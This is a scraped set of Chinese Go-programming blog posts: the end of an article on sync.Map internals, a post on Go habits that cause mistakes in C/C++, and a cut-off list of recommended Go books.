我们看到在写入key2这条数据后，dirty中不仅存储了key2这条数据，原read中的key1数据也被复制了一份存入到dirty中。这个操作是由sync.Map的dirtyLocked方法完成的：\n// $GOROOT/src/sync/map.go func (m *Map) dirtyLocked() { if m.dirty != nil { return } read, _ := m.read.Load().(readOnly) m.dirty = make(map[interface{}]*entry, len(read.m)) for k, e := range read.m { if !e.tryExpungeLocked() { m.dirty[k] = e } } } 前面我们提到过，promoted(dirty -\u0026gt; read)是一个整体的指针交换操作，promoted时，sync.Map直接将原dirty指针store给read并将自身置为nil，因此sync.Map要保证amended=true时，dirty中拥有整个Map的全量数据，这样在下一次promoted(dirty -\u0026gt; read)时才不会丢失数据。不过dirtyLocked是通过一个迭代实现的元素从read到dirty的复制，如果Map中元素规模很大，这个过程付出的损耗将很大，并且这个过程是在锁保护下的。\n在存入key3后，我们调用Load方法先load了key1，由于key1在read中有记录，因此此次load命中了，走的是快路径，对Map状态没有任何影响。\n之后，我们又Load了key2，key2不在read中，因此产生了一次miss。misses增加计数后的值为1，而此时dirty中的元素数量为3，不满足promote的条件，于是没有执行promote操作。后续我们又连续进行了两次key2的Load操作，产生了两次miss事件后，misses的计数值等于了dirty中的元素数量，于是promote操作被执行，dirty map整体被置换给read，自己则变成了nil。\n4. 更新已存在的key 我们再来看一下更新已存在的key的值的情况。首先是该key仅存在于read中(刚刚promote完毕)，而不在dirty中。我们更新这时仅在read中存在的key2的值：\nval2_1 := \u0026amp;val{\u0026quot;val2_1\u0026quot;} m.Store(\u0026quot;key2\u0026quot;, val2_1) fmt.Println(\u0026quot;\\nafter update key2(in read, not in dirty):\u0026quot;) m.Dump() 下面是Dump输出的结果：\nafter update key2(in read, not in dirty): =====\u0026gt; sync.Map: read(amended=false): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2d0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2a0)} dirty: misses:0 expunged:(unsafe.Pointer)(0xc00008e1e0) \u0026lt;===== sync.Map 我们看到sync.Map直接更新了位于read中的key2的值(entry.storeLocked方法实现的)，dirty和其他字段没有受到影响。\n第二种情况是该key刚store到dirty中，尚未promote，不在read中。我们新增一个key4，并更新其值：\nval4 := \u0026amp;val{\u0026quot;val4\u0026quot;} m.Store(\u0026quot;key4\u0026quot;, val4) fmt.Println(\u0026quot;\\nafter store key4:\u0026quot;) m.Dump() val4_1 := \u0026amp;val{\u0026quot;val4_1\u0026quot;} m.Store(\u0026quot;key4\u0026quot;, val4_1) fmt.Println(\u0026quot;\\nafter update key4(not in read, in dirty):\u0026quot;) m.Dump() dump方法的输出结果如下：\nafter store key4: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2d0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2a0)} dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2d0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2a0)} \u0026quot;key4\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e310)} misses:0 expunged:(unsafe.Pointer)(0xc00008e1e0) \u0026lt;===== sync.Map after update key4(not in read, in dirty): =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2d0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2a0)} dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2d0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2a0)} \u0026quot;key4\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e330)} misses:0 expunged:(unsafe.Pointer)(0xc00008e1e0) \u0026lt;===== sync.Map 我们看到，sync.Map同样是直接将key4对应的value重新设置为新值(val4_1)。\n5. 删除key 为了方便查看，我们将上述Map状态回滚到刚刚promote(dirty -\u0026gt; read)完的时刻，即：\nafter load key2 3rd: =====\u0026gt; sync.Map: read(amended=false): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e270)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc00008e2a0)} dirty: misses:0 expunged:(unsafe.Pointer)(0xc00008e1e0) \u0026lt;===== sync.Map 删除key也有几种情况，我们分别来看一下：\n删除的key仅存在于read中 我们删除上面Map中仅存在于read中的key2：\nm.Delete(\u0026quot;key2\u0026quot;) fmt.Println(\u0026quot;\\nafter delete key2:\u0026quot;) m.Dump() 删除后的Dump结果如下：\nafter delete key2: =====\u0026gt; sync.Map: read(amended=false): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010240)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(nil)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} dirty: misses:0 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map 我们看到sync.Map并没有删除key2，而是将其value置为nil。\n删除的key仅存在于dirty中 为了构造初仅存在于dirty中的key，我们向sync.Map写入新数据key4，然后再立刻删除它\nval4 := \u0026amp;val{\u0026quot;val4\u0026quot;} m.Store(\u0026quot;key4\u0026quot;, val4) fmt.Println(\u0026quot;\\nafter store key4:\u0026quot;) m.Dump() m.Delete(\u0026quot;key4\u0026quot;) fmt.Println(\u0026quot;\\nafter delete key4:\u0026quot;) m.Dump() 上述代码的Dump结果如下：\nafter store key4: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000104220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001041e0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001042a0)} dirty: \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000104220)} \u0026quot;key4\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001042f0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001042a0)} misses:0 expunged:(unsafe.Pointer)(0xc0001041e0) \u0026lt;===== sync.Map after delete key4: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000104220)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001041e0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001042a0)} dirty: \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001042a0)} \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000104220)} misses:0 expunged:(unsafe.Pointer)(0xc0001041e0) \u0026lt;===== sync.Map 我们看到：和仅在read中的情况不同(仅将value设置为nil)，仅存在于dirty中的key被删除后，该key就不再存在了。这里还有一点值得注意的是：当向dirty写入key4时，dirty会复制read中的未被删除的元素，由于key2已经被删除，因此顺带将read中的key2对应的value设置为哨兵(expunged)，并且该key不会被加入到dirty中。直到下一次promote，该key才会被回收（因为read被交换指向新的dirty，原read指向的内存将被GC）。\n删除的key既存在于read，也存在于dirty中 目前上述sync.Map实例中既存在于read，也存在于dirty中的key有key1和key3（key2已经被删除），我们这里以删除key1为例：\nafter delete key1: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001041e0)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001042a0)} \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(nil)} dirty: \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0001042a0)} \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(nil)} misses:0 expunged:(unsafe.Pointer)(0xc0001041e0) \u0026lt;===== sync.Map 我们看到删除key1后，read和dirty两个map中的key1均没有真正删除，而是将其value设置为nil。\n我们再触发一次promote：连续调用两次导致read miss的LOAD：\nm.Load(\u0026quot;key5\u0026quot;) fmt.Println(\u0026quot;\\nafter load key5:\u0026quot;) m.Dump() m.Load(\u0026quot;key5\u0026quot;) fmt.Println(\u0026quot;\\nafter load key5 2nd:\u0026quot;) m.Dump() 调用后的Dump输出如下：\nafter load key5: =====\u0026gt; sync.Map: read(amended=true): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(nil)} \u0026quot;key2\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc000010200)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} dirty: \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(nil)} misses:1 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map after load key5 2nd: =====\u0026gt; sync.Map: read(amended=false): \u0026quot;key1\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(nil)} \u0026quot;key3\u0026quot;:\u0026amp;smap.entry{p:(unsafe.Pointer)(0xc0000102c0)} dirty: misses:0 expunged:(unsafe.Pointer)(0xc000010200) \u0026lt;===== sync.Map 我们看到虽然dirty中的key1已经处于被删除状态，但它仍算作dirty元素的个数，因此第二次miss才会触发promote。promote后，dirty被赋值给read，因此原dirty中的key1元素就顺带进入到read中，只能等下次写入一个不存在的新key时才能被置为哨兵值，并在下一次promote时才能被真正删除释放。\n四. 小结 通过实例法，我们大致得到了sync.Map的工作原理和行为特征，从这些结果来看sync.Map并非是一个可应用于所有场合的goroutine-safe的map实现，但在读多写少的情况下，sync.Map才能发挥出最大的效能。\n本文涉及代码可以在这里 https://github.com/bigwhite/experiments/tree/master/inside-syncmap 下载。\n我的Go技术专栏：“改善Go语⾔编程质量的50个有效实践”上线了，欢迎大家订阅学习！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/10/understand-sync-map-inside-through-examples/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/inside-sync-map-0.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：本文首发于笔者的个人微信公众号”iamtonybai”，是公号付费文章(价格1元)。首发于2020.10.9日，经过一个月收费期，我觉得将其免费分享出来。如果你觉得文章质量不错，欢迎到\u003ca href=\"https://mp.weixin.qq.com/s/rsDC-6paC5zN4sepWd5LqQ\"\u003e首发地址\u003c/a\u003e付费支持：https://mp.weixin.qq.com/s/rsDC-6paC5zN4sepWd5LqQ\u003c/p\u003e","title":"通过实例深入理解sync.Map的工作原理"},{"content":"\n有一种未经证实的说法：Go诞生于C++程序的漫长构建过程中。如果C++编译很快，那么Robert Griesemer、Rob Pike和Ken Thompson这三位大佬也没有闲暇时间一起喝着咖啡并决定是时候设计一门新语言了。的确，Go语言诞生后，其简洁的语法、极速地构建、新颖的并发结构、体验优良的工具链以及完成度不低的标准库吸引了很多C/C++程序员转型成为Gopher并开始重度使用Go，比如鄙人^_^。如果能一直使用Go总也是不错的，但偶尔因项目需要可能还会写一些C/C++代码，这时候很多Gopher发现自己在长期重度使用Go之后出现了一些“后遗症”！这里我们就来细数一下都有哪些“后遗症”，各位Gopher小伙伴们也自我评估一下，这些“后遗症”是否也发生在你的身上^_^。\n1. 声明变量时类型与变量名的顺序总写反 Go语言是C家族编程语言的一个分支，和C/C++一样，Go也是静态编译型语言，这就要求在使用任何变量之前需要先声明这个变量，无论使用常规声明方法还是短声明形式。\n但Go采用的变量声明语法颇似Pascal：变量名在前，变量类型在后，这与C/C++恰好相反：\nGo: var a, b int var p, q *int vs. C/C++： int a, b; int *p, *q; 这样，gopher在长期使用Go编写代码后，一旦回归写C/C++代码，遇到的第一个问题就是经常在声明的时候将变量名与类型写反^_^。还好C/C++编译器会发现并告知我们这个问题，并不会给程序带来实质性的伤害。\n发病指数：3\n危害指数：1\n2. 经常在函数中使用“短声明”形式声明变量 短声明不是Go语言独创的语法。短声明的好处正如其名：短小，无需显式提供变量类型，编译器会根据赋值操作符后面的初始化表达式的结果自动为变量赋予适当类型。因此，它成为了Gopher们喜爱和重度使用的语法。但短声明在C/C++中却不是合法的语法元素：\nint main() { a := 5; // error: expected expression printf(\u0026quot;a = %d\\n\u0026quot;, a); } 和上面的问题一样，C/C++编译器会发现并告知我们这个问题，并不会给程序带来实质性的伤害。\n发病指数：2\n危害指数：1\n3. 总是忘记代码行结尾的分号 Go的正式标准语法是带有分号的，下面的代码片段才是编译器眼中认为正确的代码形式：\npackage main; import \u0026quot;fmt\u0026quot;; import _ \u0026quot;database/sql\u0026quot;; type Foo struct { Name string; Age int; }; func main() { var a, b = 1, 2; println(a, b); if a == 1 { fmt.Println(\u0026quot;a = 1\u0026quot;); } } 但这种形式显然与我们日常**“惯用”的代码形式有很大不同，我们日常编写Go代码时极少手写分号**。Go设计者当初为了简化代码编写，提高代码可读性，选择了由编译器在词法分析阶段自动在适当位置插入分号的技术路线，并在Go语言规范中描述了分号的插入规则：\n1. 在Go中，除去注释，如果一个代码行的最后一个token为下列情况时，则编译器会将一个分号自动插入在此字段后： - 一个标识符； - 一个整数、浮点数、实数虚部、rune(码点)或者字符串字面量； - 关键字之一：break、continue、fallthrough和return； - 自增运算符++、自减运算符--、右括号)、]或}。 2. 为支持在一个代码行中放置复杂语句，分号可能被插入在右小括号)或者右大括号}之前。 被Go编译器惯坏了的Gopher们一旦回到编写C/C++代码，遗忘代码行尾的分号的“后遗症”行为就见怪不怪了。\n发病指数：5\n危害指数：2\n4. 遇到在其他头文件中定义的头母小写的函数时总以为不能直接使用 在Go中，头母大写的包级变量、常量、类型、函数、方法都是导出的，即对外部包可见。反之，头母小写的则为包私有的，仅在包内使用。一旦习惯了这样的规则，在切换到其他语言中，就会产生“心理后遗症”：遇到在其他头文件中定义的头母小写的函数时总以为不能直接使用。\n发病指数：3\n危害指数：2\n5. 写条件分支语句、选择分支语句和循环语句时，总忘记给条件加上括号 同样是出于简化代码，增加可读性的考虑，Go设计者最初就取消掉了条件分支语句(if)、选择分支语句(switch)和循环语句(for)中条件表达式外围的小括号：\nfunc f() int { return 5 } func main() { a := 1 if a == 1 { // 无需小括号包裹条件表达式 fmt.Println(a) } switch b := f(); b { // 无需小括号包裹条件表达式 case 4: fmt.Println(\u0026quot;b = 4\u0026quot;) case 5: fmt.Println(\u0026quot;b = 5\u0026quot;) default: fmt.Println(\u0026quot;b = n/a\u0026quot;) } for i := 1; i \u0026lt; 10; i++ { // 无需小括号包裹循环语句的循环表达式 a += i } fmt.Println(a) } 这恰与C/C++“背道而驰”，于是我们经常看到在编写C/C++的gopher为大量的如下编译器错误而苦恼：\nint main() { int a = 1; if a == 1 { // error: expected '(' after 'if' printf(\u0026quot;a = 1\\n\u0026quot;); } int i = 0; for i = 1; i \u0026lt; 10; i++ { // error: expected '(' after 'for' a += i; } } 发病指数：4\n危害指数：2\n6. 总是忘记在switch case语句中添加break C/C++的选择分支语句有一个陷阱，那就是case语句中如果没有显式加入break语句，那么代码将向下自动掉落执行。Go在最初设计时填了这个“坑”，重新规定了swtich case语义，默认不自动掉落(fallthrough)，除非开发者显式使用fallthrough关键字。\n适应了Go的switch case语句的语义后，再回来写C/C++代码就会存在潜在的“风险”：\nint main() { int a = 1; switch(a) { case 1:printf(\u0026quot;a = 1\\n\u0026quot;); case 2:printf(\u0026quot;a = 2\\n\u0026quot;); case 3:printf(\u0026quot;a = 3\\n\u0026quot;); default:printf(\u0026quot;a = ?\\n\u0026quot;); } } 这段代码按go语义编写switch case，编译运行后得到的结果如下：\na = 1 a = 2 a = 3 a = ? 我们看到代码首先匹配到了 case1的情况，然后一路自动掉落到default case。这个“后遗症”存在很大危害，因为这样编写的代码在C/C++编译器眼中是完全合法的，但所代表的语义却完全不是开发人员想要的。这样的程序一旦流入到生产环境，其缺陷可能会引发生产故障。\n发病指数：3\n危害指数：4\n对于这样的问题，一些C/C++ lint工具可以将其检测出来，因此建议写C/C++代码的Gopher在提交代码前使用lint工具对代码做一下检查。\n参考资料 https://go101.org/article/line-break-rules.html\nhttps://tip.golang.org/ref/spec#Semicolons\nhttps://medium.com/golangspec/automatic-semicolon-insertion-in-go-1990338f2649\n只有写书者，才能体会到写者的艰辛！Go专栏：《改善Go语言编程质量的50个有效实践》也是我努力了一年多才打磨雕琢出来的心血之作。自从上线后，收到大家的热烈关注和好评！现在恰逢双11慕课大促，欢迎有意愿在Go这条技术路线上进阶的朋友们订阅，在学习过程中欢迎随时反馈和交流！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中！欢迎小伙伴们学习支持！双十一慕课网优惠空前！别错过机会哦！\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/11/05/the-sequela-after-being-used-to-writting-code-in-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-sequela-after-being-used-to-writting-code-in-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e有一种未经证实的说法：\u003cstrong\u003eGo诞生于C++程序的漫长构建过程中\u003c/strong\u003e。如果C++编译很快，那么Robert Griesemer、Rob Pike和Ken Thompson这三位大佬也没有闲暇时间\u003ca href=\"https://www.imooc.com/read/87/article/2320\"\u003e一起喝着咖啡并决定是时候设计一门新语言\u003c/a\u003e了。的确，\u003ca href=\"https://www.imooc.com/read/87/article/2320\"\u003eGo语言诞生\u003c/a\u003e后，其简洁的语法、极速地构建、新颖的并发结构、体验优良的工具链以及完成度不低的标准库吸引了很多C/C++程序员转型成为Gopher并开始重度使用Go，比如鄙人^_^。如果能一直使用Go总也是不错的，但偶尔因项目需要可能还会写一些C/C++代码，这时候很多Gopher发现自己在长期重度使用Go之后出现了一些“后遗症”！这里我们就来细数一下都有哪些“后遗症”，各位Gopher小伙伴们也自我评估一下，这些“后遗症”是否也发生在你的身上^_^。\u003c/p\u003e","title":"重度使用Go的“后遗症“，你有吗？"},{"content":"\n1. Go语言的发展现状 如果从2007年9月20日那个下午三个“程序员大佬”在谷歌总部的一间办公室里进行的一次有关设计一门新编程语言的讨论算起，那么Go语言已经度过了自己的13个年头了。\nRobert Griesemer、Rob Pike和Ken Thompson\n如果从2009年11月10日Go语言正式开源发布算起，Go语言也即将迎来自己的第11个生日。\n2020年，Go联合创始人Rob Pike在专访中也认可了Go确实已成为云基础架构的语言。在Go即将迎来自己的11个生日的时候，Hacker News有人发起了“Go已超过10岁了，你觉得这门语言如何？”的提问，收到了广泛的关注和回答。国内媒体将这些问答整理后得到的结论是：“人生苦短，我要换Go”。\nStackoverflow官博11月2日发表的《Go语言有哪些优点？探讨导致Go语言日益流行的特征 》一文对Go语言的发展趋势描述的贴切：Go语言就像爬行的藤蔓，虽缓慢，但却逐渐占据了开发世界。它正以一种郁郁葱葱的并且在许多方面都很优越的编程能力覆盖着在它之前出现的所有事物。\n不管你是否承认，Go在IT就业市场已经成为事实上的“香饽饽”之一，就像一贯不激进的慕课网也在今年双11打出了下面的专题：\n上车，任何时间都不晚！ 那么怎么才能踏上Go这一强大且稳健前行的车呢？和其他主流编程语言一样，上车的必经之路：看书！\n2. 市面上的Go书籍为何这么少 和C、C++、Java、Python等编程语言在市面上的书籍数量相比，Go流行于市面（大陆）上的图书似乎少了很多。其原因笔者觉得有如下几点：\n1) 年轻 我们来看看上述几门主流编程语言的诞生时间：\njava 1995\nc 1972\nc++ 1983\npython 1991\n对于很多IT从业者来说，这些语言诞生的时候他们还没出生呢。而2009年末才正式发布的Go和“最年轻”的java之间还有14年的“年龄差”。\nGo在国内真正开始快速流行起来大致在2015年第一届GopherChina大会(2015.4月)之后，当时的Go是1.4版本)。同一年下半年发布的Go 1.5实现自举并让GC延迟大幅下降，这引爆了Go在国内的流行。一批又一批程序员成为Gopher，在大厂、初创实践着Go语言。但知识和技能的沉淀和总结需要时间，相信再有5年，国内作者出版的Go语言相关书籍会像雨后春笋版出现在大家的书架上。\n2）以品类代名词的身份占据的“领域”还少 提到Web，人们想到的是Java spring；提到深度学习、机器学习、人工智能，人们想到的是python和tensorflow；提到比特币，嵌入式，人们想到的是C；提到游戏，人们想到的是C++；提到前端，人们想到的是Javascript。这些语言在这些垂直领域早早以杀手级框架入场，使得它们成为了这一领域的“品类代名词”，因此与该垂直领域相关的技术书籍都会采用作为该领域“品类代名词”的编程语言编写书中示例等，这样的书也就会被归类为这类语言方面的书籍。\nGo语言诞生晚，入场也较晚。Go虽然通过缓慢的“爬行”，覆盖了一些领域并占据优势地位，但还不能说已经成为了该领域的“品类代名词”，比如：云原生、API、微服务、区块链等，因此被垂直领域书籍关联的机会也不像上面那几门语言多。\n同时，由于Go“自带电池”，基于Go标准库我们可以实现大部分功能特性，无需依赖过多框架。即便依赖框架，框架本身也不复杂，很少以“某某框架”为主题编写一本技术书籍，这方面远远无法媲美Java和Spring这对“黄金组合”。\n3) 引进国外优秀作品需要时间 相对于国内，国外关于Go语言的作品要多不少，但引进国外图书资料需要时机以及时间(找译者翻译)。\n3. 系统学习Go语言的书籍列表TOP 5 笔者接触Go语言较早，Go语言相关的中外文书籍几乎都通读过一遍（经典好书读过可不止一遍哦）。Go语言比较简单，如果单单从系统掌握这门语言的角度来看，阅读下面基本书籍就足够了。如果你要学习某些垂直领域的Go应用和技巧，那么期待我后续对垂直领域Go书籍/资料的推荐吧^_^。\n这里参考“天下足球”TOP10栏目的方式推荐我心目中掌握Go语言必读的五大好书（每项满分为5分）！\n第五名：《The Way To Go》 – Go语言百科全书 《The Way To Go》是我早期学习Go语言时最喜欢翻看的一本书。该书成书于2012年3月，恰逢Go 1.0版本刚刚发布，作者承诺书中代码均可在Go 1.0版本上编译通过并运行。该书分为4个部分：\n为什么学习Go以及Go环境安装入门\nGo语言核心语法\nGo高级用法（读写、错误处理、单元测试、并发编程、socket与web编程等)\nGo应用(常见陷阱、语言应用模式、从性能考量的代码编写建议、现实中的Go应用等)\n每部分的每个章节都很精彩，这本书也是目前见到的最全面详实的讲解Go语言的书籍了，我称之为Gopher们的第一本**“Go百科全书”**。\n该书作者Ivo Balbaert想必大多数人都不曾耳闻。为了写本文，我特地研究了一下他的作品以及出版时间，发现这个技术作者是很会“抢先机”并且眼光独到。他总是能发现市面刚出现不久但却很有潜力的编程语言并在其他人了解该门语言之前，就编写出类似“The way to Go”这样的为早期语言接纳者提供的详实资料，包括Julia，Rust等。在很多人还不知道这些语言名字的时候，他就已经开始学习这些语言，并为这些语言编写出质量很高的“百科全书”式的书籍。\n很遗憾，这本书没有中文版。这可能是由于本书出版太早，等国内出版社意识到要引进Go语言方面的书籍时，这本书使用的Go版本又太老了，虽然本书中绝大部分例子依然可以在今天最新的Go编译器下通过编译并运行起来。不过无闻在github上发起了这本书的中译版项目：https://github.com/Unknwon/the-way-to-go_ZH_CN，感兴趣的gopher可以去在线或下载阅读。\n此书虽棒，但毕竟年头“久远”，我只能委屈它一下了，将它列在第五位，下面是其各个指数的评分：\n作者名气指数：3\n关注度指数：3\n内容实用指数：4\n经典指数：4\n总分：14\n第四名：《Go 101》 – Go语言规范全方位解读 这是一本在国外人气和关注度比在国内高的中国人编写的英文书，当然也是有中文版的。\n如果仅从书名中的101去判断，你很大可能会认为这仅仅是一本讲解Go入门基础的书，但这本书的内容可远远不止入门这么简单。这本书可大致分为三个部分：\nGo语法基础\nGo类型系统与运行时实现\n以专题(topic)形式阐述的Go特性、技巧与实践模式\n除了第一部分算是101范畴，其余两个部分都是Go语言的高级话题，也是要精通Go必须要掌握的“知识点”。并且，结合Go语言规范，作者对每个知识点的阐述都细致入微并结合大量示例辅助说明。我们知道有关C和C++语言，市面上有一些由语言作者或标准规范委员会成员编写的annotated或rationale书籍（语言参考手册或标准解读），Go 101这本书也可以理解为Go语言的标准解读或参考手册。\nGo 101这本书是开源电子书，其作者也在国外一些支持自出版的服务商那里做了付费数字出版。这使得这本书相对于其他纸板书有着另外一个优势：与时俱进。在作者的不断努力下，该书的知识点更新基本保持与Go的演化同步，目前其内容已经覆盖了最新的Go 1.15版本。\n该书作者为国内资深工程师老貘，他花费三年时间“呕心沥血”完成此书并免费奉献给Go社区，值得大家为其大大的点赞！\n下面是本书推荐指数的评分：\n作者名气指数：3\n关注度指数：4\n内容实用指数：4\n经典指数：4\n总分：15\n第三名：《Go语言学习笔记》 – Go源码剖析与实现原理探索 这是一本在国内影响力很大和关注度较高的作品。一来其作者雨痕老师是国内资深工程师，也是2015年第一届GopherChina大会讲师；二来，该作品的前期版本是以开源电子书的形式风险给国内Go社区的；三来，作者在Go源码剖析方便可谓之条理清晰，细致入微。\n2016年《Go语言学习笔记》纸版书出版，该书覆盖了当时最新的Go 1.5版本，Go 1.5版本在Go语言演化历史中的分量极高，它不仅实现了Go自举，还让Go GC的延迟下降到绝大多数应用可以将其应用到生产的程度。本书整体上分为两大部分：\nGo语言详解：以短平快、捞干的来的风格对Go语言语法做了说明，能用示例说明的，绝不用文字做过多修饰。\nGo源码剖析：这是本书精华，也是最受Gopher关注的部分。这部分对Go运行时神秘的内存分配、垃圾回收、并发调度、channel和defer的实现原理、syn.Pool的实现原理做了细致的源码剖析与原理总结。\n随着Go语言演化，其语言和运行时实现一直在变化，但Go 1.5版本的实现是后续版本的基础，因此这本书的剖析非常值得每位Gopher阅读。从雨痕老师的github上最新消息来看，他似乎在编写新版Go语言学习笔记，基于Go 1.12版本，剖析源码是枯燥繁琐的，期待新版Go学习笔记早日与Gopher们见面。\n下面是本书各个指数的评分：\n作者名气指数：4\n关注度指数：4\n内容实用指数：4\n经典指数：4\n总分：16\n第二名：《Go语言实战》 – 实战系列(in action)经典之作，紧扣Go语言的精华 Manning出版社出版的“实战系列(xx in action)”一直是程序员心中高质量和经典的代名词。在出版Go语言实战方面，该出版社也是丝毫不敢怠慢，邀请了Go社区知名的三名明星级作者联合撰写了该书的内容。这三位作者分别是：\n威廉·肯尼迪 (William Kennedy) – 知名Go培训师，培训机构Ardan Labs的联合创始人，”Ultimate Go”培训的策划实施者。\n布赖恩·克特森 (Brian Ketelsen) – 世界上最知名的Go技术大会 – GopherCon大会的联合发起人和组织者，GopherAcademy创立者，现微软Azure工程师\n埃里克·圣马丁 (Erik St.Martin) – 世界上最知名的Go技术大会 – GopherCon大会的联合发起人和组织者\n本书并不是大部头，而是薄薄的一本（中文版才200多页），因此你不要期望从本书得到百科全书一样的阅读感。本书的作者们显然也没有想将其写成面面俱到的作品，而是直击要点，即挑出Go语言和其他语言相比与众不同的特点进行着重讲解，这些特点构成了本书的结构框架：\n入门：快速上手搭建、编写、运行一个go程序\n语法：数组(作为一个类型而存在)、切片和map\nGo类型系统的与众不同：方法、接口、嵌入类型\nGo的拿手好戏：并发及并发模式\n标准库常用包：log、marshal/unmarshal、io(Reader和Writer)\n原生支持的测试\n读完这本书，你就掌握了Go语言的精髓之处，这迎合了多数gopher的内心需求。本书中文版译者Googol 